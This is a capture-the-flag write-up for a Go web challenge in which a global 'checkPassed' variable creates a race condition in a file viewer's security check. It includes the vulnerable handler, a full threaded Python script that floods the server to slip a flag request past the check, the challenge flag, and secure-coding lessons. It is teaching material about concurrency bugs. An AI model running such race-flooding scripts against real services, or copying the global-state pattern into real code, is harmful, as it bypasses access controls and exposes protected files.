Files
HIP7CTF_Writeups/shared_state_of_mind.md
m0rph3us1987 a79656b647 Added writeups
2026-03-08 12:22:39 +01:00

153 lines
5.4 KiB
Markdown

# Shared State of Mind
Welcome to the write-up for **Shared State of Mind**. This challenge is a "web" challenge that dives into the dangerous waters of concurrency in Go. It demonstrates why global state in a concurrent environment (like a web server) is a recipe for disaster.
We are presented with a "High-Performance File Viewer" that claims to have stripped out "bloatware" like mutex locks. Our goal is to read the `flag.txt` file, which is protected by a security check.
---
## 1. Initial Reconnaissance
The challenge provides a URL and a downloadable archive `shared_state_of_mind.tar.xz`.
Connecting to the URL gives us a file viewer interface (or API). We can request files using `?file=...`.
If we try `?file=worker.go`, we get the source code.
If we try `?file=flag.txt`, we get:
`Security Check Failed: Forbidden`
## 2. Source Code Analysis
The archive contains two key Go files: `gateway.go` and `worker.go`.
**`gateway.go`**:
This acts as a load balancer/proxy. It assigns each user a unique session and spawns a dedicated `./worker` process for that user. This means our requests are going to a specific instance of the worker application that is assigned just to us.
**`worker.go`**:
This is where the vulnerability lies. Let's look at how it handles requests:
```go
// GLOBAL VARIABLE
var checkPassed bool
func handler(w http.ResponseWriter, r *http.Request) {
filename := r.URL.Query().Get("file")
// 1. Security Check
if strings.Contains(filename, "flag") {
checkPassed = false
} else {
checkPassed = true
}
// 2. Logging (simulates delay)
logAccess(filename)
// 3. Serve File
if checkPassed {
content, _ := ioutil.ReadFile(filename)
w.Write(content)
} else {
http.Error(w, "Forbidden", 403)
}
}
```
## 3. The Vulnerability: Race Condition
The variable `checkPassed` is defined as a **global variable** at the package level.
In Go, `http.ListenAndServe` creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the *same* `checkPassed` variable.
This creates a **Race Condition** (specifically a Time-of-Check to Time-of-Use issue):
1. **Request A (Safe)** comes in for `worker.go`. It sets `checkPassed = true`.
2. **Request B (Malicious)** comes in for `flag.txt`. It sets `checkPassed = false`.
3. **Request A** pauses slightly (e.g., during `logAccess` or context switching).
4. **Request B** pauses slightly.
5. **Request A** resumes and potentially overwrites `checkPassed` back to `true` *after* Request B had set it to false, but *before* Request B performs its final check.
If we time it right, Request B (requesting the flag) will reach the line `if checkPassed` at the exact moment that Request A has set the global variable to `true`.
## 4. Exploitation strategy
To exploit this, we need to flood the server with two types of requests simultaneously using the **same session cookie** (so they hit the same worker process):
1. **Safe Requests:** Repeatedly ask for a allowed file (e.g., `?file=worker.go`). This constantly attempts to set `checkPassed = true`.
2. **Malicious Requests:** Repeatedly ask for `?file=flag.txt`. This attempts to read the flag.
We can use a simple Python script with multiple threads to achieve this.
### Exploit Script
```python
import threading
import requests
import sys
import time
# --- TARGET CONFIGURATION ---
TARGET_URL = "http://challenge-url:1320/"
print("[*] Initializing Session...")
s = requests.Session()
try:
s.get(TARGET_URL)
except requests.exceptions.ConnectionError:
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
sys.exit(1)
if 'ctf_session' not in s.cookies:
print("[-] Failed to get session cookie")
sys.exit(1)
print(f"[+] Session ID: {s.cookies['ctf_session']}")
cookie = {'ctf_session': s.cookies['ctf_session']}
def do_safe():
while True:
try:
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
except:
pass
def do_exploit():
while True:
try:
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
if "{flag: " in r.text:
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
sys.exit(0)
except:
pass
print("[*] Starting threads... (Press Ctrl+C to stop)")
# High volume of safe threads to flip the switch
for i in range(10):
t = threading.Thread(target=do_safe)
t.daemon = True
t.start()
# Exploit thread
for i in range(1):
t = threading.Thread(target=do_exploit)
t.daemon = True
t.start()
while True:
time.sleep(1)
```
## 5. The Solution
Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to `true`.
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
## Lessons Learned
* **Avoid Global State:** Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
* **Concurrency is Hard:** Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
* **Thread Safety:** If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.
Happy Hacking!